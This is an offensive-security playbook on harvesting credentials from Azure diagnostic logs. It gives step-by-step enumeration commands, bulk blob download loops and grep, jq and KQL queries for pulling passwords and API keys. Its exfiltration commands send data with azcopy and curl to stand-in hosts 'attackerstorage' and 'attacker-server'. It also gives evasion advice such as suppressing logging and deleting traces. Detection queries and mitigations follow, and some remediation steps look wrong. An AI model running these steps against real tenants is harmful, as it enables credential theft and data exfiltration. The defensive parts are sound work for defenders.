| Attribute | Details |
|---|---|
| Technique ID | COLLECT-LOGS-002 |
| MITRE ATT&CK v18.1 | T1552.001 - Credentials in Files |
| Tactic | Collection |
| Platforms | Entra ID, Azure |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | All Azure resource types with diagnostic settings enabled |
| Patched In | N/A (Feature-based exfiltration, not vulnerability) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Diagnostic Settings enable detailed resource-level logging (data plane logs) beyond Activity Logs (control plane). When enabled, these logs flow to Log Analytics workspaces, storage accounts, or Event Hubs. Diagnostic logs contain highly sensitive data: Azure SQL query logs (full SQL statements, including secrets), Azure App Service logs (request/response payloads with API keys), Azure Key Vault operation logs (secret access timestamps and caller identity), and Azure Logic App execution logs (workflow inputs/outputs containing credentials). Unlike Activity Logs which are time-limited (90 days default), diagnostic logs in storage accounts may persist indefinitely if retention policies are not configured. Attackers with Storage Blob Reader or Storage Account Key Retriever permissions can access these logs and harvest credentials, connection strings, and API keys embedded in logged payloads.
Attack Surface: Diagnostic logs stored in Azure Blob Storage, accessed via Storage Account keys, SAS tokens, or managed identity permissions. Log Analytics workspaces with access control misconfiguration. Event Hubs with insufficient RBAC limiting listener access.
Business Impact: Wholesale exposure of sensitive operational data, API keys, database credentials, and entire request/response payloads containing user data and secrets. Unlike Activity Logs which are read-only audit records, diagnostic logs often contain the actual values of secrets (connection strings, passwords) if not explicitly redacted by the application logging them. An attacker exfiltrating diagnostic logs from a database server may obtain thousands of SQL queries containing literal password values. This directly enables credential abuse, lateral movement, and data exfiltration without additional exploitation.
Technical Context: Diagnostic logs are off by default for most Azure resources but are commonly enabled by developers for troubleshooting. Enabling diagnostic logs is a high-signal indicator of operational sensitivity (databases, APIs, identity services). Most organizations do not monitor who accesses these logs, creating a silent exfiltration vector. Log retrieval is via standard Azure Storage API (no special permissions required beyond Reader on storage account), making it indistinguishable from legitimate troubleshooting.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.1.3 | Ensure diagnostic setting exists for all resources |
| DISA STIG | V-251363 | Ensure diagnostic logs are encrypted and access-controlled |
| NIST 800-53 | AU-12, SC-7 | Ensure audit records include sensitive data; protect audit logs from unauthorized access |
| GDPR | Article 32, 34 | Safeguard personal data in logs; implement breach notifications |
| DORA (EU Finance) | Article 9 | Protect operational logs from unauthorized disclosure |
| NIS2 | Article 21 | Implement logging and monitoring for critical infrastructure |
| ISO 27001 | A.12.4.1, A.14.2.1 | Protect audit logs; implement information security controls |
| ISO 27005 | Log Access Breach Scenario | Risk of unauthorized access to sensitive operational logs |
Required Privileges:
Required Access:
*.blob.core.windows.net).Supported Versions:
Tools:
# List all storage accounts in subscription
az storage account list --query "[].{Name:name, ResourceGroup:resourceGroup, Location:location}"
# Check which resources have diagnostic settings configured
az monitor diagnostic-settings list --query "[].{Name:name, ResourceId:resourceId, Storages:storageAccountId}" -o table
What to Look For:
diagnostics*, logs*, audit*.# Check current user's role on storage account
az role assignment list --scope "/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.Storage/storageAccounts/{account}"
# Check if public access is allowed
az storage account show --name {account} --query "{AllowBlobPublicAccess:allowBlobPublicAccess, NetworkRuleSet:networkRuleSet}"
What to Look For:
Supported Versions: All Azure versions
Objective: Deploy the GUI tool and authenticate to target storage account.
Command (Download):
# Download from Microsoft
Invoke-WebRequest -Uri "https://go.microsoft.com/fwlink/?LinkId=722418" -OutFile "$env:TEMP\StorageExplorer.exe"
& "$env:TEMP\StorageExplorer.exe" # Run installer
Manual Steps (Configure with Storage Account Key):
{storagename}.blob.core.windows.netObjective: Locate the blob container where diagnostic logs are archived.
Manual Steps:
insights-logs-{resourcetype} (e.g., insights-logs-sqlservers)diagnostics-{timestamp}logsauditresourceId/year/month/day/hour/minute/PT1H.jsonWhat This Shows:
/subscriptions/xxx/resourcegroups/sql/providers/microsoft.sql/servers/proddb/2025/01/09/14/PT1H.jsonObjective: Retrieve log files and extract sensitive data (credentials, connection strings).
Manual Steps:
C:\Temp\PT1H.json)password, key, token, secret, connectionExpected Content (SQL Diagnostic Logs):
{
"time": "2025-01-09T14:22:33Z",
"resourceId": "/subscriptions/xxx/resourcegroups/sql/providers/microsoft.sql/servers/proddb/databases/salesdb",
"category": "SQLSecurityAuditEvents",
"operationName": "ExecuteStatement",
"statement": "SELECT * FROM users WHERE password='SecureP@ss123!' UNION SELECT ...",
"succeeded": true,
"clientIp": "203.0.113.45"
}
What This Reveals:
Objective: Download multiple days/months of logs for offline analysis.
Manual Steps (via Storage Explorer):
7z a -tzip logs.zip C:\Temp\Downloaded_Logs\OpSec & Evasion:
Supported Versions: All Azure versions
Objective: Identify all resources sending logs to storage accounts.
Command:
# List all diagnostic settings
az monitor diagnostic-settings list-categories --resource "/subscriptions/{subId}/resourceGroups/{rg}/providers/{resourceType}/{resourceName}" --query "value[].name" -o table
# More comprehensive: list ALL resources with diagnostic settings
for resource in $(az resource list --query "[].id" -o tsv); do
az monitor diagnostic-settings list --resource "$resource" 2>/dev/null | jq -r '.value[].storageAccountId' 2>/dev/null
done | sort -u
Expected Output:
/subscriptions/xxx/resourceGroups/sql/providers/microsoft.sql/servers/proddb/diagnosticSettings/send-to-storage
/subscriptions/xxx/resourceGroups/app/providers/microsoft.web/sites/api-app/diagnosticSettings/app-logs
What to Look For:
Objective: Identify available diagnostic log blobs.
Command (Using Storage Account Key):
# Set storage account context
az storage account keys list --resource-group {rg} --account-name {account} --query "[0].value" -o tsv | \
az storage container list --account-name {account} --account-key @- --query "[].name"
# Or use SAS token if available
az storage blob list --account-name {account} --container-name insights-logs-sqlservers --account-key {key} --query "[].name" --recursive
Expected Output:
resourceId=SUBSCRIPTIONS/XXX/RESOURCEGROUPS/SQL/PROVIDERS/MICROSOFT.SQL/SERVERS/PRODDB/y=2025/m=01/d=09/h=14/m=00/PT1H.json
resourceId=SUBSCRIPTIONS/XXX/RESOURCEGROUPS/SQL/PROVIDERS/MICROSOFT.SQL/SERVERS/PRODDB/y=2025/m=01/d=09/h=15/m=00/PT1H.json
Objective: Extract logs containing sensitive data.
Command (Download all SQL diagnostic logs from 7 days):
# Create directory structure
mkdir -p logs/{year}/{month}/{day}
# Download blobs matching pattern
for blob in $(az storage blob list --account-name {account} --container-name insights-logs-sqlservers \
--account-key {key} --query "[?contains(name, '2025-01')].name" -o tsv); do
az storage blob download --account-name {account} --container-name insights-logs-sqlservers \
--account-key {key} --name "$blob" --file "logs/$blob"
done
Command (Extract credentials from logs):
# Search all downloaded logs for suspicious keywords
grep -r "password\|api.key\|secret\|connection" logs/ | head -20
# Parse JSON and extract statement values from SQL logs
jq -r '.[] | select(.statement != null) | .statement' logs/*/*.json | grep -i "password\|insert into.*values" | head -10
Expected Output:
statement: "UPDATE users SET password='NewP@ss456!' WHERE id=5"
statement: "SELECT * FROM vault WHERE secret='api_key_prod_xyz'"
Objective: Package logs for transfer off Azure environment.
Command:
# Compress all logs
tar -czf diagnostic_logs.tar.gz logs/
# Calculate size
du -sh diagnostic_logs.tar.gz
# Exfiltrate via AzCopy to attacker storage account
azcopy copy "diagnostic_logs.tar.gz" "https://attackerstorage.blob.core.windows.net/exfil/diagnostic_logs.tar.gz?SAS_TOKEN"
# Alternative: Exfil via HTTP
curl -X POST -d @diagnostic_logs.tar.gz http://attacker-server:8080/upload
OpSec & Evasion:
--log-level=NONE to suppress logging.rm -rf logs/ diagnostic_logs.tar.gz.Supported Versions: All subscriptions with Log Analytics configured
Objective: Query aggregated diagnostic logs via KQL.
Command (PowerShell - Query Log Analytics):
# Get workspace details
$workspace = Get-AzOperationalInsightsWorkspace -ResourceGroupName {rg} -Name {workspace-name}
# Run KQL query to extract diagnostic logs
$query = @"
AzureDiagnostics
| where ResourceType == "SQLSERVERS"
| where Category == "QueryStoreWaitStatistics" or Category == "Audit"
| project TimeGenerated, ResourceId, Statement, ClientIp
| order by TimeGenerated desc
"@
$results = Invoke-AzOperationalInsightsQuery -WorkspaceId $workspace.CustomerId -Query $query
$results.Tables[0].Rows | Export-Csv -Path "diagnostic_logs.csv"
Expected Output:
TimeGenerated ResourceId Statement
2025-01-09 14:22 /subscriptions/xxx/resourceGroups/sql/.../... SELECT * FROM users WHERE password='S3cur3P@ss!'
2025-01-09 14:21 /subscriptions/xxx/resourceGroups/sql/.../... UPDATE vault SET secret='api_key_prod_12345'
Objective: Extract logs containing hardcoded credentials, API keys, or connection strings.
Command (KQL - Extract Azure Key Vault secrets access):
AzureDiagnostics
| where ResourceType == "VAULTS"
| where Category == "AuditEvent"
| where operationName_s contains "Get" or operationName_s contains "List"
| project TimeGenerated, CallerIpAddress_s, operationName_s, principalId_s, resultSignature_s
| order by TimeGenerated desc
Command (KQL - Extract Logic App input/output containing secrets):
AzureDiagnostics
| where ResourceProvider == "MICROSOFT.LOGIC"
| where Category == "WorkflowRuntime"
| where LogLevel_s != "Error"
| extend Inputs = todynamic(inputs_s), Outputs = todynamic(outputs_s)
| where Inputs contains "password" or Inputs contains "key" or Outputs contains "token"
| project TimeGenerated, ResourceId, Inputs, Outputs
Version: 1.35.0+ (latest) Supported Platforms: Windows, macOS, Linux Download: Azure Storage Explorer
Key Features:
Version: 10.16.0+ (latest) Supported Platforms: Windows, macOS, Linux Download: AzCopy
Usage (High-Performance Bulk Transfer):
azcopy copy "{source-sas-url}" "{dest-sas-url}" --recursive --verbose
Atomic Test ID: T1552.001-2 Test Name: Diagnostic Logs Exfiltration via Azure CLI Command:
az storage blob list --account-name {account} --account-key {key} --container-name insights-logs-sqlservers --recursive --query "[].name" | wc -l
SPL Query:
sourcetype=azure:storage source_ip!="YOUR_INTERNAL_IPS" operation="GetBlob" OR operation="ListBlobs"
| stats count as blob_reads by source_ip, user
| where blob_reads > 100
| alert
KQL Query:
StorageBlobLogs
| where OperationName in ("GetBlob", "ListBlobs")
| where AccountName contains "diagnostic" or AccountName contains "logs"
| where CallerIpAddress !in ("YOUR_INTERNAL_IPS")
| summarize BlobAccessCount = count(), TimeWindow = max(TimeGenerated) - min(TimeGenerated) by CallerIpAddress, UserPrincipalName
| where BlobAccessCount > 50 and TimeWindow < 1h // Bulk access in short window
| extend RiskLevel = "High"
Restrict Diagnostic Settings Creation: Only authorized audit teams can enable diagnostic logging to prevent data concentration in vulnerable storage accounts.
Manual Steps (Azure RBAC):
Diagnostic Settings AdminMicrosoft.Insights/diagnosticSettings/*Enable Storage Account Encryption with Customer-Managed Keys (CMK): Ensure diagnostic logs are encrypted; Azure cannot read plaintext if attacker only has storage account access.
Manual Steps:
PowerShell:
$key = Get-AzKeyVaultKey -VaultName "myKeyVault" -Name "storageKey"
Set-AzStorageAccount -ResourceGroupName "myRG" -AccountName "myStorage" `
-KeyvaultEncryption -KeyName $key.Name -KeyVersion $key.Version -KeyVaultUri $key.VaultId
Implement Storage Account Firewall: Restrict access to diagnostic storage accounts to specific vNets or IPs only.
Manual Steps:
Enable Immutable Blobs: Make diagnostic log blobs write-once-read-many (WORM) to prevent deletion or tampering.
Manual Steps:
Monitor and Alert on Diagnostic Log Access: Detect bulk blob downloads via Sentinel (see Section 9).
Implement Private Endpoints: Force all diagnostic log traffic through vNet, preventing internet exposure.
Manual Steps:
# Verify diagnostic settings are restricted
Get-AzRoleAssignment -RoleDefinitionName "Diagnostic Settings Admin" | Select-Object DisplayName
# Check storage account firewall
Get-AzStorageAccount -Name {account} | Select-Object DefaultAction, NetworkRuleSet
GetBlob or ListBlobs operations in short timeframe.StorageBlobLogs table showing thousands of blob reads from single user/IP in minutes.insights-logs-*, diagnostics-*.# Revoke storage account access key
New-AzStorageAccountKey -ResourceGroupName {rg} -Name {account} -KeyName key1
# Or disable completely
Set-AzStorageAccount -ResourceGroupName {rg} -AccountName {account} -EnableHttpsTrafficOnly $true
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-CLOUD-001] BloodHound Azure Enumeration | Attacker identifies storage accounts |
| 2 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker obtains Azure user credentials |
| 3 | Privilege Escalation | [PE-VALID-010] Azure Role Assignment Abuse | Attacker elevates to Reader role on storage |
| 4 | Collection (Current) | [COLLECT-LOGS-002] Diagnostic Logs | Attacker downloads diagnostic logs containing credentials |
| 5 | Credential Access | [CA-UNSC-008] Storage Account Key Theft | Attacker uses stolen keys from logs for further access |
| 6 | Impact | [IMPACT-DATA-DESTROY-001] Data Destruction | Attacker deletes critical databases using harvested credentials |